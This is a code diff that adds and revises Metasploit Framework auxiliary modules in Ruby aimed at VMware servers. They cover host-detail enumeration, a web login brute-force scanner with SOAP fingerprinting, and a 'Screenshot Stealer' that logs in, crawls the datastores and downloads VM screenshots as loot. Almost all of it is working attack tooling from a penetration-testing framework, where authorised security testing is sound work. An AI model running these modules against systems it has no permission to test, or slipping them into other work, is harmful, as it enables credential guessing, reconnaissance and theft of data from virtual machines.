@ -0,0 +1,64 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/vim_soap'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::VIMSoap
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Enumerate Host Details',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %Q{
|
||||
This module attempts to enumerate information about the host systems through the VMWare web API.
|
||||
This can include information about the hardware installed on the host machine.},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
|
||||
OptBool.new('HW_DETAILS', [true, "Enumerate the Hardware on the system as well?", false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
||||
output = "VMWare Host at #{ip} details\n"
|
||||
output << "-----------------------------\n"
|
||||
host_summary = vim_get_all_host_summary(datastore['HW_DETAILS'])
|
||||
output << YAML.dump(host_summary)
|
||||
print_good output
|
||||
store_loot('vmware_host_details', "text/plain", datastore['RHOST'], output, "#{datastore['RHOST']}_vmware_host.txt", "VMWare Host Details")
|
||||
else
|
||||
print_error "Login Failure on #{ip}"
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
|
@ -15,19 +15,18 @@ require 'rex/proto/ntlm/message'
|
|||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::VIMSoap
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Web Login Scanner',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'This module attempts to authenticate to the VMWare HTTP service
|
||||
for VMWare Server, ESX, and ESXi',
|
||||
'Description' => 'This module attempts to authenticate to the VMWare HTTP service
|
||||
for VmWare Server, ESX, and ESXI',
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'References' =>
|
||||
[
|
||||
|
@ -38,96 +37,98 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URI', [true, "The default URI to login with", "/sdk"]),
|
||||
Opt::RPORT(443)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
return unless check(ip)
|
||||
|
||||
return unless check
|
||||
each_user_pass { |user, pass|
|
||||
result = do_login(user, pass)
|
||||
result = vim_do_login(user, pass)
|
||||
case result
|
||||
when :success
|
||||
print_good "#{ip}:#{rport} - Successful Login! (#{user}:#{pass})"
|
||||
print_good "#{rhost}:#{rport} - Successful Login! (#{user}:#{pass})"
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:proto => 'tcp',
|
||||
:sname => 'https',
|
||||
:source_type => "user_supplied",
|
||||
:active => true
|
||||
)
|
||||
return if datastore['STOP_ON_SUCCESS']
|
||||
when :fail
|
||||
print_error "#{ip}:#{rport} - Login Failure (#{user}:#{pass})"
|
||||
print_error "#{rhost}:#{rport} - Login Failure (#{user}:#{pass})"
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
# Mostly taken from the Apache Tomcat service validator
|
||||
def check(ip)
|
||||
datastore['URI'] ||= "/sdk"
|
||||
user = Rex::Text.rand_text_alpha(8)
|
||||
pass = Rex::Text.rand_text_alpha(8)
|
||||
def check
|
||||
soap_data =
|
||||
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<env:Body>
|
||||
<RetrieveServiceContent xmlns="urn:vim25">
|
||||
<_this type="ServiceInstance">ServiceInstance</_this>
|
||||
</RetrieveServiceContent>
|
||||
</env:Body>
|
||||
</env:Envelope>|
|
||||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => datastore['URI'],
|
||||
'method' => 'POST',
|
||||
'agent' => 'VMware VI Client',
|
||||
'data' => gen_soap_data(user,pass)
|
||||
'data' => soap_data
|
||||
}, 25)
|
||||
|
||||
if res
|
||||
fp = http_fingerprint({ :response => res })
|
||||
if fp =~ /VMWare/
|
||||
report_service(:host => rhost, :port => rport, :proto => 'tcp', :sname => 'https', :info => fp)
|
||||
return true
|
||||
else
|
||||
vprint_error("http://#{ip}:#{rport} - Could not identify as VMWare")
|
||||
return false
|
||||
end
|
||||
fingerprint_vmware(res)
|
||||
else
|
||||
vprint_error("http://#{ip}:#{rport} - No response")
|
||||
vprint_error("#{rhost}:#{rport} Error: no response")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError => e
|
||||
vprint_error("http://#{ip}:#{rport}#{datastore['URI']} - #{e}")
|
||||
vprint_error("#{rhost}:#{rport} Error: could not connect")
|
||||
return false
|
||||
rescue
|
||||
vprint_error("Skipping #{ip} due to error - #{e}")
|
||||
vprint_error("#{rhost}:#{rport} Error: #{e}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def gen_soap_data(user,pass)
|
||||
soap_data = []
|
||||
soap_data << '<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
|
||||
soap_data << ' <SOAP-ENV:Body>'
|
||||
soap_data << ' <Login xmlns="urn:vim25">'
|
||||
soap_data << ' <_this type="SessionManager">ha-sessionmgr</_this>'
|
||||
soap_data << ' <userName>' + user.to_s + '</userName>'
|
||||
soap_data << ' <password>' + pass.to_s + '</password>'
|
||||
soap_data << ' </Login>'
|
||||
soap_data << ' </SOAP-ENV:Body>'
|
||||
soap_data << '</SOAP-ENV:Envelope>'
|
||||
soap_data.join
|
||||
end
|
||||
|
||||
def do_login(user, pass)
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sdk',
|
||||
'method' => 'POST',
|
||||
'agent' => 'VMware VI Client',
|
||||
'data' => gen_soap_data(user,pass)
|
||||
}, 25)
|
||||
if res.code == 200
|
||||
return :success
|
||||
else
|
||||
return :fail
|
||||
|
||||
def fingerprint_vmware(res)
|
||||
unless res
|
||||
vprint_error("#{rhost}:#{rport} Error: no response")
|
||||
return false
|
||||
end
|
||||
return false unless res.body.include?('<vendor>VMware, Inc.</vendor>')
|
||||
|
||||
os_match = res.body.match(/<name>([\w\s]+)<\/name>/)
|
||||
ver_match = res.body.match(/<version>([\w\s\.]+)<\/version>/)
|
||||
build_match = res.body.match(/<build>([\w\s\.\-]+)<\/build>/)
|
||||
full_match = res.body.match(/<fullName>([\w\s\.\-]+)<\/fullName>/)
|
||||
|
||||
if full_match
|
||||
print_good "#{rhost}:#{rport} - Identified #{full_match[1]}"
|
||||
report_service(:host => rhost, :port => rport, :proto => 'tcp', :sname => 'https', :info => full_match[1])
|
||||
end
|
||||
|
||||
if os_match and ver_match and build_match
|
||||
if os_match[1] =~ /ESX/ or os_match[1] =~ /vCenter/
|
||||
this_host = report_host( :host => rhost, :os_name => os_match[1], :os_flavor => ver_match[1], :os_sp => "Build #{build_match[1]}" )
|
||||
end
|
||||
return true
|
||||
else
|
||||
vprint_error("#{rhost}:#{rport} Error: Could not identify as VMWare")
|
||||
return false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,111 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/vim_soap'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::VIMSoap
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Screenshot Stealer',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %Q{
|
||||
This module uses supplied login credentials to connect to VMWare via
|
||||
the web interface. It then searches through the datastores looking for screenshots.
|
||||
It will downlaod any screenshots it finds and save them as loot.},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
||||
@user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
|
||||
crawl_page('/folder')
|
||||
else
|
||||
print_error "Login Failure on #{ip}"
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def crawl_page(path, parent='')
|
||||
res = send_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => 'GET',
|
||||
'cookie' => @vim_cookie,
|
||||
'headers' => { 'Authorization' => "Basic #{@user_pass}"}
|
||||
}, 25)
|
||||
if res
|
||||
@vim_cookie = res.headers['Set-Cookie']
|
||||
if res.code== 200
|
||||
res.body.scan(/<a href="([\w\/\?=&;%]+)">/) do |match|
|
||||
link = match[0]
|
||||
link.gsub!('&', '&')
|
||||
case link
|
||||
when /%2epng?/
|
||||
img_name = Rex::Text::uri_decode(link.match(/\/([\w\?=&;%]+%2epng)/)[1])
|
||||
print_good "Screenshot Found: #{img_name} Full Path: #{link}"
|
||||
grab_screenshot(link, img_name)
|
||||
when /%2e(?!png)/
|
||||
next
|
||||
when parent
|
||||
next
|
||||
else
|
||||
crawl_page(link, path)
|
||||
end
|
||||
end
|
||||
elsif res.code == 401
|
||||
print_error "Authorization Failure for: #{path}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def grab_screenshot(path, name)
|
||||
res = send_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => 'GET',
|
||||
'cookie' => @vim_cookie,
|
||||
'headers' => { 'Authorization' => "Basic #{@user_pass}"}
|
||||
}, 25)
|
||||
if res
|
||||
@vim_cookie = res.headers['Set-Cookie']
|
||||
if res.code == 200
|
||||
img = res.body
|
||||
ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], img, name , "Screenshot of VM #{name}")
|
||||
print_status "Screenshot saved to #{ss_path}"
|
||||
else
|
||||
print_error "Failed to retrieve screenshot at #{path} HTTP Response code #{res.code} "
|
||||
end
|
||||
else
|
||||
print_error "Failed to retrieve screenshot: there was no reply"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue